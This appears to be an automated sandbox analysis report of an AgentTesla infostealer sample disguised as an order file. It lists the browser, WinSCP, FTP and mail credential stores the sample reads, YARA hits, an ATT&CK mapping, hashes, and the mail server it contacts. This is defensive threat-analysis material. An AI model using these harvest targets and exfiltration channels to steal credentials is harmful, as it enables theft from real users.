Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Users\user\Desktop\ORDER#023_2024.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: 5.2.ORDER#023_2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c384f0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c61510.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c384f0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2903371766.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1681703639.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000005.00000002.2905038066.000000000305A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2905038066.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ORDER#023_2024.exe PID: 4268, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\ORDER#023_2024.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\ORDER#023_2024.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Desktop\ORDER#023_2024.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: 00000005.00000002.2905038066.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ORDER#023_2024.exe PID: 4268, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: 5.2.ORDER#023_2024.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c384f0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c61510.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c61510.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ORDER#023_2024.exe.3c384f0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2903371766.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1681703639.0000000003BC1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000005.00000002.2905038066.000000000305A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2905038066.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ORDER#023_2024.exe PID: 4268, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Masquerading	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Disable or Modify Tools	1 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	141 Virtualization/Sandbox Evasion	Security Account Manager	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Data from Local System	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
ORDER#023_2024.exe	66%	ReversingLabs	Win32.Trojan.AgentTesla
ORDER#023_2024.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.carterandcone.coml	0%	Avira URL Cloud	safe
http://www.fontbureau.com	0%	Avira URL Cloud	safe
http://www.zhongyicts.com.cn	0%	Avira URL Cloud	safe
http://www.fontbureau.com/designers	0%	Avira URL Cloud	safe
http://www.tiro.com	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mail.mbarieservicesltd.com	199.79.62.115	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.tiro.com	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.goodfont.co.kr	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.carterandcone.coml	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sajatypeworks.com	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.typography.netD	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/DPlease	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers8	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://localhost/arkanoid_server/requests.php	ORDER#023_2024.exe	false		high
http://www.fonts.com	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.urwpp.deDPlease	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.zhongyicts.com.cn	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	ORDER#023_2024.exe, 00000000.00000002.1679554005.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	ORDER#023_2024.exe, 00000000.00000002.1691799925.0000000006FB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.mbarieservicesltd.com	ORDER#023_2024.exe, 00000005.00000002.2905038066.000000000305A000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
199.79.62.115	mail.mbarieservicesltd.com	United States		394695	PUBLIC-DOMAIN-REGISTRYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1568740
Start date and time:	2024-12-04 22:01:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	ORDER#023_2024.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/6@3/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 40 Number of non-executed functions: 11
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: ORDER#023_2024.exe

Simulations

Behavior and APIs

Time	Type	Description
16:01:56	API Interceptor	58x Sleep call for process: ORDER#023_2024.exe modified
16:01:58	API Interceptor	18x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
199.79.62.115	QFEWElNtpn.exe	Get hash	malicious	AgentTesla	Browse
	SoA_14000048_002.exe	Get hash	malicious	AgentTesla	Browse
	Quote 000002320.exe	Get hash	malicious	AgentTesla	Browse
	LPO-2024-357.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Quote5000AFC.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
	Quote1000AFC.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse
	Quote 40240333-REV2.exe	Get hash	malicious	AgentTesla	Browse
	PO ALJAT-5804-2024.exe	Get hash	malicious	AgentTesla	Browse
	INQ#84790.exe	Get hash	malicious	AgentTesla	Browse
	LPO24.0524.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
mail.mbarieservicesltd.com	QFEWElNtpn.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	SoA_14000048_002.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	Quote 000002320.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	LPO-2024-357.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	Quote5000AFC.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	199.79.62.115
	Quote1000AFC.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	199.79.62.115
	Quote 40240333-REV2.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	PO ALJAT-5804-2024.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	INQ#84790.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	QFEWElNtpn.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	SoA_14000048_002.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	Quote 000002320.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	new booking 9086432659087.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.251.80.30
	rAttached_updat.vbs	Get hash	malicious	GuLoader, Remcos	Browse	103.76.231.42
	LPO-2024-357.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	RFQ.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.251.80.30
	Quote5000AFC.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	199.79.62.115
	Quote1000AFC.exe	Get hash	malicious	AgentTesla, PureLog Stealer, zgRAT	Browse	199.79.62.115
	shipping doc -GY298035826.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.251.80.30

Process:	C:\Users\user\Desktop\ORDER#023_2024.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379401388151058
Encrypted:	false
SSDEEP:	48:fWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//ZmUyus:fLHxvIIwLgZ2KRHWLOuggs
MD5:	1F07DBFC960DDEA7295F1A6FD48057B1
SHA1:	05F3052BCC168B834CEA8EA48E050020C5CAD8F5
SHA-256:	72F8629C56744FE3E1E3C1B705EF6355E59E5C96B4924427EE430C9F9EF46809
